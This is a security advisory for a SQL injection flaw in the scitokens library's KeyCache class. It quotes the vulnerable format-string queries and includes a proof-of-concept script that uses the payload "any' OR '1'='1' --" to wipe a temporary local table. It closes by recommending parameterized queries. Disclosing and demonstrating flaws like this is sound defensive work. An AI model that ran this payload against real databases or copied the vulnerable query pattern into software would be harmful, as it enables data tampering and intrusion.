PYSEC-2026-530

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).